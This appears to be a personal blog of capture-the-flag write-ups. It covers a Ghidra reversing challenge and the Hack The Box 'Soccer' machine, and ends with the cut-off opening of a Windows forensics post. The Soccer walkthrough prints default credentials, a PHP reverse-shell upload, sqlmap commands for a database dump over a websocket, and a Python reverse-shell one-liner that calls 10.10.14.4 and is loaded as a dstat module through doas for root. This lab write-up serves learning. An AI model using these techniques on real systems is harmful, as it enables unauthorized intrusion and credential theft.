Friday, March 17, 2023

HTB - Behind The Scenes

Initial Investigation

Upon running the application it asks us for ./challenge <password> 
 

Let's run strings and see what we find:

The interesting parts are we can see it is expected the password to be in the format HTB{something} 
 

Reversing

We can throw the binary into Ghidra and see what else we find. Within the main it looks to stop. 
 

There is a UD2 instruction and then disassembly stops.  
 
 
After some research I found this within the Ghidra github . User pjsoberoi's comment is the solution:
"IMHO that is the correct behavior. You can manually disassemble the bytes after but that shouldn't change the decompilation. You can edit your own x86 slaspec and replace ud2 instruction with a "nop" pcode instruction. This should basically make the decompiler ignore the ud2 instruction. That seems like what you want." 
 
With this information I disassembled the rest.
 
 
We then run through and replace all the UD2 instructions with a NOP and slowly the code is built out until we eventually get our password and flag!
 

 

 

Friday, March 3, 2023

HTB - Soccer

 

Enumeration

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-01 15:36 GMT
Nmap scan report for 10.10.11.194
Host is up (0.11s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.93%I=7%D=3/1%Time=63FF711E%P=x86_64-pc-linux-gnu%r(inf
SF:ormix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\
SF:n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x2
SF:0close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\n
SF:Content-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Opt
SF:ions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCon
SF:tent-Length:\x20139\r\nDate:\x20Wed,\x2001\x20Mar\x202023\x2015:37:09\x
SF:20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=
SF:\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</h
SF:ead>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HTT
SF:POptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Poli
SF:cy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nC
SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r
SF:\nDate:\x20Wed,\x2001\x20Mar\x202023\x2015:37:09\x20GMT\r\nConnection:\
SF:x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<met
SF:a\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Ca
SF:nnot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HTT
SF:P/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-sr
SF:c\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20t
SF:ext/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Wed,\x
SF:2001\x20Mar\x202023\x2015:37:09\x20GMT\r\nConnection:\x20close\r\n\r\n<
SF:!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"ut
SF:f-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\x
SF:20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\
SF:x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r
SF:(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnecti
SF:on:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.65 seconds

We find port 22, 80 and 9091 open. Let's do some further enumeration on port 80.

80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

We find the domain, let's add it to our hosts file and continue our investigation. 

There isn't a lot on the domain, seems to just be a static site with some football information. Let's use gobuster to see if we can find something interesting. 

===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://soccer.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/03/01 16:07:48 Starting gobuster in directory enumeration mode
===============================================================
/tiny                 (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]

We have a directory called "tiny". We find that this is a file manager with a login. A quick search reveals some default credentials:

https://tinyfilemanager.github.io/docs/
Default creds:
admin/admin@123
user/12345

Luckily, the admin creds work and we're in!

 

Initial Foothold

Not in my screenshot is the Tiny FM version which is 2.4.3. Back to the research table we find that 2.4.3 has a vulnerability! 

"A Path traversal vulnerability in the file upload functionality in tinyfilemanager.php in Tiny File Manager Project's Tiny File Manager <= 2.4.6 allows remote attackers with valid user accounts to upload malicious PHP files to the webroot and achieve code execution on the target server."

https://github.com/febinrev/tinyfilemanager-2.4.3-exploit

Unfortunately the POC doesn't work in this instance but it does reveal that the exploit exists. 

 ┌──(kali㉿kali)-[~]
└─$ ./exploit.sh http://soccer.htb/tiny/tinyfilemanager.php admin "admin@123"
/usr/bin/curl
[✔] Curl found!
/usr/bin/jq
[✔] jq found!

[+]  Login Success! Cookie: filemanager=n8tbi19hj6jbq1lr9c0cj8a33k

[*] Try to Leak Web root directory path

[+] Found WEBROOT directory for tinyfilemanager using full path disclosure bug : /var/www/html/tiny/

[-] File Upload Unsuccessful! Exiting!

The problem was with the upload, and we don't have the correct permissions to upload to the location the script attempts. We're going to go manual!

First let's find a location we can upload to and prove that it works. 

We can upload to the uploads folder (of course..) and the test worked so now let's upload a shell. I recently pulled the blackarch shell repo so I used the php reverse shell within that. Changing the IP and port to match. Set up the listener and then fire.
 

We have a shell as www-data! We can make this a little more pleasant using

python3 -c "import pty; pty.spawn('/bin/bash')" 

I must admit, I was stuck now as the account didn't have much access. Being still new to this I had to do a lot of research into nginx and I found out there is a folder which contains a config file. Within this conf file is mention of the sites-enabled location so I pivot to look in there. We find a new site called soc-player.soccer.htb, add it to our hosts file and let's go take a look. 

 


There was a little more to this site, including a login page! If we go to the login page we will find that we have no creds but we can sign up. Create a new dummy account and login. We now have a ticket and a page where we can insert a ticket number. Open the developer tools and investigate how the site works and what is happening.


When a ticket number is put into the box and we click check then communication happens over a websocker to soc-player.soccer.htb:9091, this was our mystery port we found during enumeration, the next step is to exploit this process.

Exploitation - User

Let's view the page source code

        var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
        window.onload = function () {
        
        var btn = document.getElementById('btn');
        var input = document.getElementById('id');
        
        ws.onopen = function (e) {
            console.log('connected to the server')
        }
        input.addEventListener('keypress', (e) => {
            keyOne(e)
        });
        
        function keyOne(e) {
            e.stopPropagation();
            if (e.keyCode === 13) {
                e.preventDefault();
                sendText();
            }
        }
        
        function sendText() {
            var msg = input.value;
            if (msg.length > 0) {
                ws.send(JSON.stringify({
                    "id": msg
                }))
            }
            else append("????????")
        }
        }
        
        ws.onmessage = function (e) {
        append(e.data)
        }
        
        function append(msg) {
        let p = document.querySelector("p");
        // let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
        // p.style.color = randomColor;
        p.textContent = msg
        }

From this code we can see now exactly how it works. But how to exploit? After another big session of researching I found https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html which goes into detail on how to conduct SQL injection over a websocket. I grabbed the script and made the required edits and set up the proxy. 

We can then send sqlmap through the proxy to do it's work. Note that sqlmap through this proxy will take a very long time! I recommend making sure it is running and then leaving it for 10-15 minutes and do something else.

sqlmap -u "http://127.0.0.1:8081/?id=1" --batch --dbs - this was used first to get some enumeration on the database. 

sqlmap -u "http://127.0.0.1:8081/?id=1" --dbms mysql --dbs --threads 10 -p id -D soccer_db -T accounts -C username,password -dump-all - this was then the dump. 

We can now log in through SSH and get the user flag!

Exploitation - Root

We now have user! Let's check if we can run anything as root. Damn! 
Back to searching for an answer I came across a few different things, first was the alternative to sudo, doas. I then found two enumeration scripts LinEnum and LinPEASS. 

I pulled down both scripts and uploaded them to soccer. Of the two I found LinPEASS to be a lot better and the latest release can be found here: https://github.com/carlospolop/PEASS-ng/releases/tag/20230226, and here is LinEnum: https://github.com/rebootuser/LinEnum. 

After running LinPEASS we find that doas is on the system and we can use it to run dstat as root. 
Dstat is a linux performance measuring tool but you can write custom modules for it. More research... https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-dstat-privilege-escalation/ has a nice overview. Unfortunately the exploit within here didn't work but we can try something else!

Using https://www.revshells.com/ to create a reverse shell in python we can use dstat to run it as a custom module. 
 
Dstat will load modules from /usr/local/share/dstat/ , create a new module called dstat_<whatever>.py with the payload
 
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

Run it with doas -u root /usr/bin/dstat --<module name> 
 
Be sure to have your listener running and you will get a root shell! From here you can get the root flag!  
This was a long one but really fun!
 

THM - Windows Forensics 1

Scenario One of the Desktops in the research lab at Organization X is  suspected to have been accessed by someone unauthorized. Although the...